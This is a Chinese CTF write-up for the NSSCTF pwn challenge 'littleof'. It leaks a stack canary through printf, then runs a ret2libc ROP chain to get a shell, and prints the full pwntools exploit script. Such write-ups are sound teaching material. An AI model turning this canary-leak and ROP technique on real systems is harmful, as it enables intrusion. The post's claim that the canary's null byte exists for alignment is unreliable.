难绷,一题看了4个小时,各种莫名其妙的报错,一直EOFEOF,给我快整emo了,还是不算难的一题,累死了。
还是先看题:
一如既往的64位动态链接文件,较之前难度提升的一点是开启了canary保护
这里解释下什么是canary保护:
在计算机系统中,栈是一种常见的内存结构,用于存储函数调用期间程序状态的信息,如本地变量、返回地址等。为了保护计算机系统的安全,许多现代操作系统都采用了一种叫做“堆栈保护”的技术,其中包括使用所谓的“canary”来检测缓冲区溢出漏洞。
在一些堆栈保护技术中,canary 被插入到函数的堆栈帧中,并被初始化为一个随机值。当函数返回时,canary 的一致性将被检查,以确保它未被篡改。如果 canary 值已经被篡改,那么说明缓冲区溢出攻击已经发生。
需要注意的是,canary 的实现方式和系统架构等因素有关,因此其具体实现可能存在差异。
所以这一题要是还想要栈溢出就必须得进行leek出canary来绕过。
所以来看源码:
这题也很明显的给了你一个专门来泄露地址的printf()
,所以这里就需要利用printf泄露地址(因为printf遇到\x00截断,所以只需要在canary之前全部填充非‘0’垃圾数据就很自然地可以泄露出canary地址。
pythonio.recvuntil(b'overflow?\n')
io.send(b'a'*(0x48)+b's')
io.recvuntil(b's')
canary = u64(io.recv(7).rjust(8,b'\x00'))
因为canary是占位8字节,所以我们需要输入的垃圾数据为0x50-0x08,也就是0x48字节数据,但是:
对于大多数现代操作系统,canary 的最后一位通常会被固定为零(\x00),这是因为某些 CPU 架构要求堆栈的字节对齐(通常为 4 或 8 字节),因此必须将 canary 末尾的字节设置为零,以确保字节对齐。但在一些特殊情况下,canary 的固定位可能并不是零字节。
canary的最后一位通常是\x00并且是小端序所以必须得再输入一字节数据覆盖0x00防止printf被截断,同样因此接收也只能接收7字节然后人为添加上被覆盖的0x00,这样canary就被泄露出来了。
这里我试了一下:
这里一个是canary = u64(io.recv(7).rjust(8,b'\x00'))
另一个是canary2 = u64(io.recv(8))
很明显看到除了第一字节不一样外其他都一样,这里就是因为后面一个被\x00截断了。
之后就是正常的ret2libc:
pythonpayload = b'a'*(0x48)+p64(canary)+b'a'*(0x8)+p64(pop_rdi)+\
p64(puts_got)+p64(puts_plt)+p64(main_addr)
io.sendlineafter(b'harder!',payload)
io.recvuntil(b'I hope you win\n')
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')
这我还要说一点:
这里我看了很久的原因就是我一开始用recvuntil接收会报错,很奇怪,不用就不会,但是这样puts-addr又有问题,写wp的时候我又试了一遍,结果可以了,估计是我wsl的原因(果不其然,wsl不太稳定),属实难绷。
这里如果不用recvuntil先接收数据或者不用sendlineafter传参都会报错,会导致puts_addr的地址出现问题。
很离谱。
然后就是:
pythonio.recvuntil(b'overflow?\n')
io.send(b'a'*(0x48)+b's')
io.recvuntil(b's')
#c = io.recv(8)
#canary = int(c.decode('utf-8'),16)
canary2 = u64(io.recv(8))
print(hex(canary2))
payload = b'a'*(0x48)+p64(canary)+b'a'*(0x8)+p64(ret)+p64(pop_rdi)+\
p64(binsh)+p64(system)
io.sendlineafter(b'harder!',payload)
io.interactive()
很常规的ret2libc
完整exp:
pythonfrom pwn import*
from LibcSearcher import*
io = remote('node4.anna.nssctf.cn',28499)
elf = ELF('./littleof')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x0000000000400789
pop_rdi = 0x400863
ret = 0x040059e
io.recvuntil(b'overflow?\n')
io.send(b'a'*(0x48)+b's')
io.recvuntil(b's')
#c = io.recv(8)
#canary = int(c.decode('utf-8'),16)
canary = u64(io.recv(7).rjust(8,b'\x00'))
print(hex(canary))
payload = b'a'*(0x48)+p64(canary)+b'a'*(0x8)+p64(pop_rdi)+\
p64(puts_got)+p64(puts_plt)+p64(main_addr)
io.recvuntil(b'harder!')
io.sendline(payload)
io.recvuntil(b'I hope you win\n')
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')
io.recvuntil(b'overflow?\n')
io.send(b'a'*(0x48)+b's')
io.recvuntil(b's')
#c = io.recv(8)
#canary = int(c.decode('utf-8'),16)
canary2 = u64(io.recv(8))
print(hex(canary2))
payload = b'a'*(0x48)+p64(canary)+b'a'*(0x8)+p64(ret)+p64(pop_rdi)+\
p64(binsh)+p64(system)
io.sendlineafter(b'harder!',payload)
io.interactive()
flag:
本文作者:Hyrink
本文链接:
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!